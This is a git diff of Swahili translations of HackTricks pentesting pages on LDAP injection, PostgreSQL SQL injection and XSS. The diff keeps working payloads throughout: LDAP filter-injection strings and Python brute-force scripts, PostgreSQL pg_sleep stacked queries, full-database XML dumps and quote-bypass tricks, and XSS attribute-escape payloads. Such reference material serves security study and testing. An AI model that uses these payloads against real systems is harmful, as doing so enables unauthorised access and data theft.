|
||||
|
|
|
@ -3,8 +3,8 @@
|
|||
## LDAP Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,9 +17,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na hack isiyoweza kuhackika - **tunatafuta wafanyakazi!** (_uandishi na kuzungumza kwa Kiswahili vizuri inahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,17 +33,17 @@ Ikiwa unavutiwa na **kazi ya hacking** na hack isiyoweza kuhackika - **tunatafut
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii hutokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = na / au / si / kipengee\
|
||||
**Filtercomp** = na / au / si / kipenge\
|
||||
**Na** = & filterlist\
|
||||
**Au** = |filterlist\
|
||||
**Si** = ! filter\
|
||||
**Filterlist** = 1\*filter\
|
||||
**Kipengee**= rahisi / kuwepo / sehemu\
|
||||
**Kipenge**= rahisi / kuwepo / sehemu\
|
||||
**Rahisi** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Kuwepo** = attr = \*\
|
||||
|
@ -59,19 +59,19 @@ Kwa mfano:\
|
|||
|
||||
Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofauti.
|
||||
|
||||
**OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\
|
||||
**ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\
|
||||
**SunOne Directory Server 5.0**: Tekeleza vichujio vyote.
|
||||
**OpenLDAP**: Ikiwa filters 2 zinakuja, inatekeleza ya kwanza tu.\
|
||||
**ADAM au Microsoft LDS**: Kwa filters 2 wanatupa kosa.\
|
||||
**SunOne Directory Server 5.0**: Tekeleza filters zote mbili.
|
||||
|
||||
**Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.**
|
||||
**Ni muhimu sana kutuma filter kwa sintaksia sahihi au kosa litatupwa. Ni bora kutuma filter 1 tu.**
|
||||
|
||||
Kichujio kinapaswa kuanza na: `&` au `|`\
|
||||
Filter inapaswa kuanza na: `&` au `|`\
|
||||
Mfano: `(&(directory=val1)(folder=public))`
|
||||
|
||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (kile kinachotekelezwa).
|
||||
Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa filter ya kwanza (iliyotekelezwa).
|
||||
|
||||
### Login Bypass
|
||||
|
||||
|
@ -167,7 +167,7 @@ Unaweza kuzunguka juu ya herufi za ascii, nambari na alama:
|
|||
|
||||
#### **Gundua maeneo halali ya LDAP**
|
||||
|
||||
Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika kuhifadhi **habari**. Unaweza kujaribu **kuvunjavunja zote ili kupata hiyo habari.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika kuhifadhi **habari**. Unaweza kujaribu **kuvunjavunja zote ili kupata habari hiyo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -199,7 +199,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
|||
finish = True
|
||||
print()
|
||||
```
|
||||
#### **Mchakato wa Kipekee wa Blind LDAP Injection (bila "\*")**
|
||||
#### **Mchakato wa Kijalala wa LDAP wa Kipekee (bila "\*")**
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -224,23 +224,23 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# PostgreSQL injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa Kiswahili ni lazima_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
***
|
||||
|
||||
**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Ukuran huu unalenga kuelezea mbinu tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha mbinu ambazo unaweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
The **PostgreSQL module `dblink`** offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the `COPY FROM` functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
**Moduli ya PostgreSQL `dblink`** inatoa uwezo wa kuungana na mifano mingine ya PostgreSQL na kutekeleza muunganisho wa TCP. Vipengele hivi, vinapounganishwa na kazi ya `COPY FROM`, vinawezesha vitendo kama vile kupandisha mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa mbinu za kina za kutekeleza mashambulizi haya angalia jinsi ya [kutekeleza mashambulizi haya](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exfiltration example using dblink and large objects**
|
||||
### **Mfano wa Exfiltration ukitumia dblink na vitu vikubwa**
|
||||
|
||||
You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
|
||||
Unaweza [**kusoma mfano huu**](dblink-lo\_import-data-exfiltration.md) kuona mfano wa CTF wa **jinsi ya kupakia data ndani ya vitu vikubwa na kisha kutoa maudhui ya vitu vikubwa ndani ya jina la mtumiaji** la kazi `dblink_connect`.
|
||||
|
||||
## PostgreSQL Attacks: Read/write, RCE, privesc
|
||||
## Mashambulizi ya PostgreSQL: Soma/andika, RCE, privesc
|
||||
|
||||
Check how to compromise the host and escalate privileges from PostgreSQL in:
|
||||
Angalia jinsi ya kuathiri mwenyeji na kupandisha mamlaka kutoka PostgreSQL katika:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
|
@ -45,12 +45,12 @@ Check how to compromise the host and escalate privileges from PostgreSQL in:
|
|||
|
||||
### PostgreSQL String functions
|
||||
|
||||
Manipulating strings could help you to **bypass WAFs or other restrictions**.\
|
||||
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
|
||||
Kuhusisha nyuzi kunaweza kukusaidia **kuzidi WAFs au vizuizi vingine**.\
|
||||
[**Katika ukurasa huu** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**unaweza kupata baadhi ya kazi za nyuzi zinazofaa.**
|
||||
|
||||
### Stacked Queries
|
||||
|
||||
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
|
||||
Kumbuka kwamba postgresql inasaidia maswali yaliyopangwa, lakini programu kadhaa zitatoa kosa ikiwa majibu 2 yatatolewa wakati yanatarajiwa 1 tu. Lakini, bado unaweza kutumia maswali yaliyopangwa kupitia Time injection:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -65,13 +65,13 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
|||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Hii kazi itatoa hifadhidata nzima katika muundo wa XML kwa mstari 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
|
||||
Hii kazi itatoa hifadhidata nzima katika muundo wa XML katika safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Strings in Hex
|
||||
|
||||
Ikiwa unaweza kuendesha **queries** ukipitia **ndani ya string** (kwa mfano kutumia **`query_to_xml`** function). **Unaweza kutumia convert\_from kupitisha string kama hex na kupita filters kwa njia hii:**
|
||||
Ikiwa unaweza kuendesha **queries** ukipitia **ndani ya string** (kwa mfano kutumia kazi ya **`query_to_xml`**). **Unaweza kutumia convert\_from kupitisha string kama hex na kupita filters kwa njia hii:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### Nukuu zilizokatazwa
|
||||
|
||||
Ikiwa huwezi kutumia nukuu kwa payload yako unaweza kupita hii kwa `CHR` kwa masharti ya msingi (_kuunganisha wahusika kunafanya kazi tu kwa maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Hakiwezi kufanya kazi kwa taarifa zote za SQL_):
|
||||
Ikiwa huwezi kutumia nukuu kwa payload yako unaweza kupita hii kwa `CHR` kwa masharti ya msingi (_kuunganisha wahusika kunafanya kazi tu kwa maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Hii haifanyi kazi kwa taarifa zote za SQL_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -97,22 +97,22 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyovunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za uhalifu wa mtandao kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
|
||||
|
@ -8,9 +8,9 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
|
|||
|
||||
## Methodology
|
||||
|
||||
1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudiwa katika HTML au **inatumiwa** na **JS** code.
|
||||
2. **Pata muktadha** ambapo inarudiwa/inatumika.
|
||||
3. Ikiwa **inarudiwa**
|
||||
1. Angalia ikiwa **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code.
|
||||
2. **Pata muktadha** ambapo inarudi/inatumika.
|
||||
3. Ikiwa **inarudi**
|
||||
1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload:
|
||||
1. Katika **HTML safi**:
|
||||
1. Je, unaweza kuunda vitambulisho vipya vya HTML?
|
||||
|
@ -18,7 +18,7 @@ Ikiwa unavutiwa na **kazi ya uhalifu wa mtandao** na kujaribu kuvunja yasiyoweza
|
|||
3. Je, unaweza kupita ulinzi?
|
||||
4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Ndani ya **HTML tag**:
|
||||
2. Ndani ya **vitambulisho vya HTML**:
|
||||
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
|
||||
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
|
||||
3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
|
||||
|
@ -41,31 +41,31 @@ Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
|
|||
|
||||
## Reflected values
|
||||
|
||||
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe ambayo inarudiwa** kwenye ukurasa wa wavuti.
|
||||
Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
|
||||
|
||||
* **Inarudiwa kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudiwa kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
|
||||
* **Iliyohifadhiwa na inarudiwa**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudiwa kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
|
||||
* **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
|
||||
* **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
|
||||
* **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
|
||||
|
||||
## Contexts
|
||||
|
||||
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudiwa**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
|
||||
Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
|
||||
|
||||
### Raw HTML
|
||||
|
||||
Ikiwa ingizo lako **linarudiwa kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
|
||||
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **vitambulisho vya HTML** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... haya ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
|
||||
Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Ndani ya sifa za HTML tags
|
||||
### Ndani ya sifa za vitambulisho vya HTML
|
||||
|
||||
Ikiwa ingizo lako linarudiwa ndani ya thamani ya sifa ya tag unaweza kujaribu:
|
||||
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya vitambulisho unaweza kujaribu:
|
||||
|
||||
1. **Kukwepa kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
|
||||
2. Ikiwa **unaweza kukwepa kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ikiwa **huwezi kukwepa kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudiwa ikiwa unadhibiti thamani yote au sehemu tu utakuwa na uwezo wa kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa ingizo lako linarudiwa ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **Kukwepa kutoka kwenye sifa na kutoka kwenye vitambulisho** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
|
||||
2. Ikiwa **unaweza kukwepa kutoka kwenye sifa lakini si kutoka kwenye vitambulisho** (`>` imeandikwa au kufutwa), kulingana na vitambulisho unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ikiwa **huwezi kukwepa kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
|
||||
